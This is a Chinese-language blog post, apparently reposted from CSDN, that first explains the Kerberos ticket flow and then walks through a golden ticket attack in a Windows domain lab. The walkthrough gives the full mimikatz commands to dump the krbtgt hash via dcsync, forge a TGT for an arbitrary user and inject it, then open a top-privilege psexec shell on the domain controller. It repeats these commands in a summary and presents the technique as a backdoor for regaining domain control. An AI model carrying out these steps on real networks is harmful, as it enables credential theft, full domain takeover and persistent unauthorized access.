在Kerberos协议中主要是有三个角色的存在: 1:访问服务的Client(用户的机器客户端) 2:提供服务的Server(服务端) 3:KDC(Key Distribution Center)密钥分发中心其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务,远程桌面服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。 |
0x01 Kerberos工作原理
1:Client向KDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容。
2:KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
注释:PAC的全称是Privilege Attribute Certificate(特权属性证书)。不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式。
3:Client(客户端)凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求。
4:KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的TGS票据,并带上PAC返回给Client(客户端)(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)。
TGT:认证票据
TGS:票据发放服务
5:此时client拿着KDC给的TGS票据去请求服务。
6:服务端使用自己的NTLM-hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
至此,就是登录域控中Kerberos协议的工作流程,看起来可能点绕,根据我上面的贴图,一步步的看还是比较好理解的。
0x02 实验步骤
主域控:windows server 2008 IP地址:192.168.107.146
域内机器(Client):windows server 2008 IP地址:192.168.107.164
通过上面工作原理得知,我们这里只要伪造第三步,也就是TGT票据即可。
首先我们 需要先从域控中,或者是域内其他Client中导出krbtgt用户的hash,这里需要注意的是,krbtgt用户只有在域控中才会存在。
当然了如果你有域控管理员的其他账号,也是可以登录其他域其他机器来使用mimikatz.exe导出hash的。
第一步::在域控内导出krbtgt用户的hash和sid(使用mimikatz.exe工具):
lsadump::dcsync /domain:hydra.com /user:krbtgt
# domian:后面是域控名 user后面是krbtgt用户
2:在域内其他Client(用户机器)上使用其他域管理员来抓取krbtgt用户的hash和sid(使用mimikatz.exe工具),这里命令和上面的命令是一样的,最后抓取的hash也是和上面一样的,这里我就不贴图了。
第二步:.清除自己Client端(域内其他机器)的票据。
我们在域控上面成功抓取了hash和sid,将hash和sid复制到其他域内机器中,也就是Client端,然后在mimikatz.exe执行kerberos::list查看我们当前的票据。
然后在mimikatz.exe执行:kerberos::purge 意思就是清空当前用户登录的票据,通过下面的图片看到清空了以后,在执行list的时候,就没有任何的票据了。
第三步:伪造TGT票据(黄金票据)
kerberos::golden /admin:ceshi /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt
kerberos::golden的意思是使用票据功能,/admin 后面的用户是我们可以伪造的任意用户,我这里用ceshi,/sid后面输入的就是我们之前抓到的sid,/krbtgt后面是之前抓到的hash, /ptt是立即执行到内存的意思。ps:一共有5个空格,这里需要注意下。
构造好了语句后,在Client端上执行,提示Successfully表示已经成功了。
第四步:通过kerberos::list查看当前票据,伪造成功(也可以通过cmd中klist查看,这里需要注意的是cmd需要用管理员的方式运行)
到了这一步以后,说明我们已经成功在Client端伪造了黄金票据(在伪造的时候可以是任意用户名,我这里是ceshi)。
第五步:在Client端通过Psexec.exe工具来与主域控进行连接(对于psexec.exe工具的使用这里不多做介绍)
连接成功了以后,是直接返回一个cmd的交互式界面,并且是最高权限。
此时,我们就可以在当前Client端(域内机器中)来执行主域控下cmd操作,并且权限是最高的。
0x03 总结
第一步:在域控中,或者是域内机器中(域管理员用户权限登录),因为是需要抓取hash和sid的,所以必须要是管理员权限,命令如下:
lsadump::dcsync /domain:hydra.com /user:krbtgt
第二步:清除自己client端(域内其他机器)的票据:
kerberos::purge
第三步:查看票据(client端):(此时票据信息肯定是空的)
kerberos::list
第四步:伪造黄金票据(client端),这里的参数文章上面都介绍过了,这里不多介绍。
kerberos::golden /admin:ceshi /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt
第五步:尝试使用psexec登录域控的cmd控制台(client端):
psexec.exe \\dc.hydra.com cmd.exe
与其说是一种攻击方式,不如说是一种后门,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。
原文链接:https://blog.csdn.net/cj_Allen/article/details/104297452
(来源:Hacking黑白红)
发表评论